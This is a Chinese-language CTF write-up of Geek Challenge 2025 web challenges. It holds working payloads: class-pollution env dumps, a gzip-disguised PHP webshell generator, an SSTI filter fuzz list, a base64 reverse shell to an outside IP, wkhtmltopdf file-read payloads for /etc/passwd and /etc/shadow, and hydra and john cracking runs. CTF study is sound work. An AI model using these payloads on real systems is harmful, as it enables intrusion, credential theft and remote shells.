         "execute_method": "__import__('os').popen('mkdir -p static&&env>static/env.txt').read()"
       }
     }
   }
 } 
{"__class__": {"__base__": {"__base__": {"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').check_output(['env']).decode())"}}}}
{"__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').run(['env'], capture_output=True, text=True).stdout.strip())"}}}}

第一个payload毫无疑问是最简单的

剩下两个是保留了函数

注意 写成下面这个payload是无法回显出flag的

{
   "__class__":{
     "__base__":{
       "__base__":{
         "execute_method": "__import__('subprocess').check_output(['env']).decode()"
       }
     }
   }
 }

原因如下:

源码在这篇博客里面:第16届极客大挑战-web - J_0k3r

剩下的payload出自极客大挑战 2025 web Writeups | Nick's Blog 极客大挑战2025wp | tiran's blog

eeeeezzzzzzZip

首先dirsearch扫描目录扫到了www.zip

index.php内容如下:

<?php
 session_start(); // 开启会话,用于记录用户登录状态和临时目录
 error_reporting(0); // 关闭错误回显(让攻击者看不到报错信息,增加难度)
 ​
 // 检查是否登录,没登录就踢回 login.php
 if (!isset($_SESSION['user'])) {
     header("Location: login.php");
     exit;
 }
 ​
 $salt = 'GeekChallenge_2025';
 // 如果还没有生成过目录,就生成一个随机目录名
 if (!isset($_SESSION['dir'])) {
     $_SESSION['dir'] = bin2hex(random_bytes(4));
 }
 // 拼接沙盒路径:临时目录 + uploads_ + md5哈希
 $SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
 // 创建这个目录,权限 0700 (只有拥有者可读写执行)
 if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);
 ​
 // 扫描目录下所有文件,并排除掉 . 和 .. (当前目录和上级目录)
 $files = array_diff(scandir($SANDBOX), ['.', '..']);
 $result = '';
 ​
 // 【关键逻辑】如果 URL 传入了 f 参数
 if (isset($_GET['f'])) {
     $filename = basename($_GET['f']); // basename 防止目录穿越 (防止输入 ../../etc/passwd)
     $fullpath = $SANDBOX . '/' . $filename; // 拼接完整路径
 ​
     // 检查1: 文件必须存在
     // 检查2: 正则限制文件名必须以 zip/bz2/gz 等结尾
     if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
         ob_start(); // 开启输出缓冲
         @include($fullpath); // 【核心漏洞点】!!!
         // include 函数不仅能包含 php 文件,也能包含 txt、jpg、zip 等任何文件。
         // 只要文件内容里有 <?php ... ?>,它就会执行!
         $result = ob_get_clean(); // 获取执行结果
     } else {
         $result = "文件不存在或非法类型。";
     }
 }
 ?>

upload.php内容如下:

<?php
 // ... 基础配置 ...
 $allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; // 白名单后缀
 $allowed_mime_types = [ ... 'application/x-gzip', ... ]; // 白名单 MIME 类型
 ​
 // 黑名单关键字:禁止文件里出现 php 标签等
 $BLOCK_LIST = ["__HALT_COMPILER()", "PK", "<?", "<?php", "phar://", "php", "?>"];
 ​
 // 【关键函数】内容过滤器
 function content_filter($tmpfile, $block_list) {
     $fh = fopen($tmpfile, "rb");
     if (!$fh) return true;
     
     // 只读取文件开头 4096 字节
     $head = fread($fh, 4096);
     // 跳转到文件末尾倒数 4096 字节处
     fseek($fh, -4096, SEEK_END);
     // 读取文件末尾 4096 字节
     $tail = fread($fh, 4096);
     fclose($fh);
     
     // 拼接开头和结尾进行检查
     $sample = $head . $tail;
     $lower = strtolower($sample);
     
     // 如果开头或结尾包含黑名单词汇(如 <?php),则拦截
     foreach ($block_list as $pat) { ... }
     return true;
 }
 ​
 // ... 上传逻辑 ...
 // 1. 检查后缀名 (pathinfo)
 // 2. 检查 MIME 类型 (finfo_file)
 // 3. 调用 content_filter 检查内容
 // 4. move_uploaded_file 保存文件
 ?>

login.php内容如下:

<?php
 session_start();
 $err = '';
 // 检查是否有 POST 请求
 if ($_SERVER['REQUEST_METHOD'] === 'POST') {
     $u = $_POST['user'] ?? '';
     $p = $_POST['pass'] ?? '';
     // 硬编码的账号密码检查
     if ($u === 'admin' && $p === 'guest123') {
         $_SESSION['user'] = $u; // 登录成功,设置 session
         header("Location: index.php"); // 跳转首页
         exit;
     } else {
         $err = '登录失败...';
     }
 }
 // ... 下面是 HTML 前端代码 ...
 ?>

看代码注意抓住重点逻辑!不要都看

首先在login.php中抓住了登录的账号密码

其次在upload.php里面发现了文件上传的相关要求:

1.后缀的要求

2.只看首尾!!!(说明可以把一句话木马插入中间)

在index.php发现了文件包含漏洞 include

最后附上脚本

import os
 ​
 # 1. 确定输出路径
 # __file__ 是当前脚本的路径,dirname 获取目录,join 拼接文件名
 current_dir = os.path.dirname(os.path.abspath(__file__))
 output_path = os.path.join(current_dir, 'exploit.gz')
 ​
 print(f"[-] 目标路径: {output_path}")
 ​
 # 2. 构造文件头 (Magic Bytes)
 # \x1f\x8b\x08 是 GZIP 文件的标准文件头(幻数)。
 # upload.php 的 finfo_file 函数看到这几个字节,就会认为这是个合法的 gz 文件。
 magic_header = b'\x1f\x8b\x08'
 ​
 # 3. 构造头部填充 (Bypass Header Check)
 # upload.php 检查前 4096 字节。
 # 我们用 5000 个 'A' 填满它,确保恶意代码被挤到 4096 字节之后。
 # b'A' 表示字节类型的字符 A。
 padding_head = b'A' * 5000
 ​
 # 4. 构造恶意负载 (Payload)
 # 这里是真正的 PHP 代码。
 # 换行符 \n 是为了防止代码和前面的 'A' 连在一起导致解析错误。
 # system("cat /flag") 是执行系统命令读取 flag。
 part1 = b'<?php '
 part2 = b'system("cat /flag"); '  #这里/flag读不出flag 需要换成/flag/flag.txt不知道为什么
 part3 = b'?>'
 shell_code = b'\n' + part1 + part2 + part3 + b'\n'
 ​
 # 5. 构造尾部填充 (Bypass Tail Check)
 # upload.php 还会检查文件末尾 4096 字节。
 # 我们在代码后面再塞 5000 个 'A',让恶意代码远离文件末尾。
 padding_tail = b'A' * 5000
 ​
 # 6. 拼装
 # 最终文件结构:[GZIP头] + [垃圾数据] + [PHP代码] + [垃圾数据]
 payload = magic_header + padding_head + shell_code + padding_tail
 ​
 # 7. 写入文件
 # 'wb' 模式表示以“二进制写入”模式打开文件
 with open(output_path, 'wb') as f:
     f.write(payload)
 ​
 print(f"[+] 成功生成!")

最后查看传上去重命名的文件名 传入?f=(文件名)即可

路在脚下

此题考察的是无回显ssti

首先是ssti很好看出来 但是无回显这个还是要自己去猜一下

我首先尝试使用fenjing去梭哈 但是发现跑不出来

于是先测试一下过滤的东西

{{
 }}
 {%
 %}
 {
 }
 {{}}
 {%%}
 {{=}}
 {#
 #}
 <%=
 %>
 ${
 #{
 *{
 `
 .
 _
 [
 ]
 (
 )
 <
 >
 '
 "
 /
 \
 |
 :
 =
 +
 -
 *
 %
 #
 @
 !
 ~
 ^
 &
 $
 ?
 ;
 ,
 \t
 \r
 \n
 \x5f
 \x2e
 \x5b
 \x5d
 \u005f
 \u002e
 \u005b
 \u005d
 %2e
 %5f
 %5b
 %5d
 %20
 class
 __class__
 mro
 __mro__
 base
 __base__
 bases
 __bases__
 subclasses
 __subclasses__
 init
 __init__
 globals
 __globals__
 builtins
 __builtins__
 dict
 __dict__
 getattribute
 __getattribute__
 getitem
 __getitem__
 name
 __name__
 doc
 __doc__
 file
 __file__
 import
 __import__
 loader
 __loader__
 package
 __package__
 spec
 __spec__
 annotations
 __annotations__
 kwdefaults
 __kwdefaults__
 code
 __code__
 closure
 __closure__
 qualname
 __qualname__
 self
 __self__
 func
 __func__
 defaults
 __defaults__
 module
 __module__
 attr
 format
 list
 string
 int
 float
 items
 keys
 values
 upper
 lower
 capitalize
 title
 length
 count
 index
 join
 center
 first
 last
 random
 reverse
 sort
 sum
 min
 max
 unique
 batch
 slice
 groupby
 map
 filter
 select
 reject
 selectattr
 rejectattr
 default
 d
 replace
 xmlattr
 tojson
 safe
 forceescape
 striptags
 urlencode
 urldecode
 set
 request
 config
 session
 g
 url_for
 get_flashed_messages
 application
 app
 lipsum
 cycler
 joiner
 namespace
 range
 xrange
 loop
 context
 messages
 settings
 reliner
 render_template
 render_template_string
 current_app
 session_cookie_name
 request.args
 request.form
 request.values
 request.cookies
 request.headers
 request.environ
 request.method
 request.url
 request.base_url
 request.path
 request.host
 request.scheme
 request.blueprint
 request.endpoint
 request.view_args
 request.stream
 request.data
 request.json
 config.items
 config.from_envvar
 config.from_object
 config.from_pyfile
 config.root_path
 g.user
 g.db
 g.config
 g.session
 os
 sys
 subprocess
 popen
 popen2
 popen3
 popen4
 system
 eval
 exec
 execfile
 compile
 open
 read
 write
 readline
 readlines
 close
 socket
 platform
 timeit
 importlib
 shutil
 pty
 spawn
 fork
 load
 dump
 loads
 dumps
 pickle
 marshal
 base64
 decode
 encode
 check_output
 tempfile
 json
 hashlib
 hmac
 xml
 lxml
 yaml
 configparser
 ftplib
 smtplib
 imaplib
 sqlite3
 mysql
 psycopg2
 redis
 memcache
 urllib
 http
 ssl
 time
 datetime
 logging
 traceback
 inspect
 ast
 code
 codecs
 site
 pkgutil
 zipfile
 tarfile
 bz2
 gzip
 lzma
 zlib
 id
 whoami
 ls
 cat
 flag
 /flag
 /bin/sh
 /bin/bash
 /usr/bin/python
 and
 or
 not
 in
 is
 for
 if
 else
 while
 with
 from
 as
 len
 tuple
 str
 bool
 chr
 ord
 split
 strip
 startswith
 endswith
 lambda
 type
 object
 bytearray
 bytes
 complex
 enumerate
 frozenset
 getattr
 hasattr
 hash
 hex
 input
 isinstance
 issubclass
 iter
 next
 oct
 pow
 print
 property
 repr
 round
 setattr
 sorted
 staticmethod
 super
 vars
 zip
 java.lang.Runtime
 getRuntime
 ProcessBuilder
 freemarker
 Execute
 _self
 _context
 getFilter
 registerUndefinedFilterCallback
 getFunctions
 env
 passthru
 shell_exec
 proc_open
 Smarty_Internal_Write_File
 writeFile
 this
 constructor
 mainModule
 require
 child_process
 fs
 process

可以尝试这个fuzz字典

之后我就使用虚拟机起了一个靶机然后再去用fenjing

方法就是使用sstilab然后自己去修改waf即可(问ai即可配置出来很简单的)

最后payload如下:

{{(sb.__eq__.__globals__.sys.modules.os.popen("bash%20-c%20'{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMDkuODAuNDYvODA4MCAwPiYx}|{base64,-d}|{bash,-i}'")).read()}}

路在脚下_revenge

同样的payload就可以打通

PDF Viewer

此题是一个网页转pdf的题目 构成了ssrf漏洞 为什么是ssrf呢 这里贴上解释

你提交了一段 HTML 代码给服务器。
 你的浏览器 并没有去渲染这段代码生成 PDF(不然 PDF 就保存在你本地了,服务器拿不到)。
 是 服务器上的 wkhtmltopdf 程序 打开了这段 HTML。
 HTML 里写着 <iframe src="file:///etc/passwd">。
 服务器上的程序 看到这句话,发起了读取 /etc/passwd 的动作。
 发起者是服务器,且读取了敏感文件。

ssrf其实我理解成多干了一件事 有些功能我们需要服务器去访问其他url 这就构成了服务端请求

只不过不一定构成了ssrf漏洞

直接贴上payload(三个)

1.(最为简单直接的)

<script>  <!– 告诉浏览器:接下来是脚本程序,不是普通文字 -->
     
     var x = new XMLHttpRequest();
     // 创建一个“信使”对象(变量名为 x)。
     // XMLHttpRequest 是浏览器内置的一个专门用来发请求、取数据的工具。
 ​
     x.open("GET", "file:///etc/passwd", false);
     // 配置信使的任务:
     // 1. 动作:"GET"(去获取)
     // 2. 地址:"file:///etc/passwd"(本地文件协议,目标是密码文件)
     // 3. 关键参数:false(表示“同步”/Synchronous)。
     //    意思是:“信使你去取文件,全公司都暂停手头工作等你,你不回来,不许生成 PDF!”
     //    (这是防止 PDF 生成太快,文件还没读回来就结束了)
 ​
     x.send();
     // 动作:出发!信使真正开始去读文件。
     // 因为是同步模式,代码会卡在这里,直到文件读完。
 ​
     document.write('<pre>' + x.responseText + '</pre>');
     // 动作:把结果写在脸上。
     // document.write 是把整个网页原本的内容清空,重写内容。
     // x.responseText 是信使带回来的文件内容。
     // <pre> 标签是为了保持排版格式,不然读出来的文件会挤成一坨。
 ​
 </script> <!-- 脚本结束 -->

2.(稍微复杂点的)

<!DOCTYPE html> <!– 声明文档类型,告诉浏览器这是标准的 HTML5 -->
 <html>
 <head>
   <meta charset="utf-8"> <!-- 设置字符编码,防止乱码 -->
 </head>
 <body>
   <!-- 下面是预先画好的网页内容 -->
   <h2>File Content:</h2>
   
   <!-- 这是一个空盒子,ID叫 output,里面暂时写着 Loading... -->
   <pre id="output">Loading...</pre>
 ​
   <script>
     var xhr = new XMLHttpRequest(); // 同样创建信使,变量名这次叫 xhr
     
     xhr.open('GET', 'file:///etc/passwd', true);
     // 配置任务:
     // 第三个参数是 true(表示“异步”/Asynchronous)。
     // 意思是:“信使你去取文件吧,浏览器你可以继续干别的,不用傻等。”
 ​
     // 既然不等了,那信使回来了怎么办?所以要设置一个“监听器”
     xhr.onreadystatechange = function() {
       // 每当信使的状态发生变化,就执行下面这段代码:
       
       if (xhr.readyState === 4) {
         // readyState === 4 代表“任务彻底完成,数据已经下载好了”。
         
         var content = xhr.responseText || 'Failed to read file';
         // 尝试获取文件内容,如果没获取到,就赋值为 'Failed...'
         
         document.getElementById('output').textContent = content;
         // 精准投递:
         // 找到页面上 ID 叫 'output' 的那个盒子。
         // 把盒子里面的文字(原本是 Loading...)替换成读到的文件内容。
       }
     };
 ​
     xhr.send(); // 出发!
   </script>
 </body>
 </html>

3.

<script>
     x = new XMLHttpRequest; 
     // 创建信使对象,这和前面一样。
 ​
     x.onload = function(){
     // 【区别点】:使用 .onload 事件。
     // onload 只有在请求“成功完成”时才会触发。
     // 相比 onreadystatechange,它更简洁,不用判断状态码是不是 4。
         document.write(this.responseText)
         // 把信使带回来的内容(this.responseText)直接覆盖写入页面。
     }
 ​
     x.open('GET','file:///etc/shadow');
     // 【注意】:这里读取的是 /etc/shadow。
     // 在大多数 Linux 系统中,/etc/shadow 只有 root 用户能读。
     // 如果运行 wkhtmltopdf 的用户权限不够,这一步会报错,导致 onload 不触发。
     // 另外,这里省略了第三个参数,默认为 true(异步)。
 ​
     x.send();
     // 发送请求。
 </script>

接下来介绍一个工具:https://github.com/openwall/john

这个是哈希密码破解工具 可以爆破或者还原弱密码 kali自带 可以问ai怎么装

有两种方式去爆破

1.我们不知道密码的哈希值 那就只能去直接爆破

┌──(kali㉿kali)-[~/Desktop]
 └─$ hydra -l WeakPassword_Admin -P /usr/share/wordlists/rockyou.txt -s 13856 nc1.ctfplus.cn http-post-form '/admin:username=^USER^&password=^PASS^:F=Incorrect password!'
 Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
 ​
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-13 08:17:47
 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
 [DATA] attacking http-post-form://nc1.ctfplus.cn:13856/admin:username=^USER^&password=^PASS^:F=Incorrect password!
 [13856][http-post-form] host: nc1.ctfplus.cn   login: WeakPassword_Admin   password: qwerty
 1 of 1 target successfully completed, 1 valid password found
 Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-13 08:18:28

命令如下

hydra -l WeakPassword_Admin -P /usr/share/wordlists/rockyou.txt -s 13856 nc1.ctfplus.cn http-post-form '/admin:username=^USER^&password=^PASS^:F=Incorrect password!'

拆解这个命令解释一下

hydra -l [已知用户名] -P [密码字典路径] [目标IP] http-post-form '[URL路径]:[参数名1]=^USER^&[参数名2]=^PASS^:[F=错误提示词]'

2.如果我们知道哈希值了(即我们是root权限 能去读/etc/shadow)
那么就简单了

┌──(kali㉿kali)-[~/Desktop]
└─$ echo 'WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::' > hash.txt
                                                                                                                                                                                                                                                                                               
┌──(kali㉿kali)-[~/Desktop]
└─$ john hash.txt
 Created directory: /home/kali/.john
 Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
 Use the "--format=md5crypt-long" option to force loading these as that type instead
 Using default input encoding: UTF-8
 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
 Will run 4 OpenMP threads
 Proceeding with single, rules:Single
 Press 'q' or Ctrl-C to abort, almost any other key for status
 Almost done: Processing the remaining buffered candidate passwords, if any.
 Proceeding with wordlist:/usr/share/john/password.lst
 qwerty           (WeakPassword_Admin)     
 1g 0:00:00:00 DONE 2/3 (2026-01-13 09:03) 7.692g/s 56553p/s 56553c/s 56553C/s 123456..knight
 Use the "--show" option to display all of the cracked passwords reliably
 Session completed. 

第一步完整复制etc/shadow的内容 一个都别删 就是看到什么直接复制就行了(WeakPassword_Admin:1wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::)并保存到一个文件里面 第二步就是还原即可

最后再说明一下/etc/passwd和/etc/shadow的区别

1.两者都是用户管理文件

2./etc/passwd一般都能读到 主要是关注三点

用户名是什么 目录是什么 能否登录(即有没有/bin/bash)

3./etc/shadow 主要是看哈希值密码的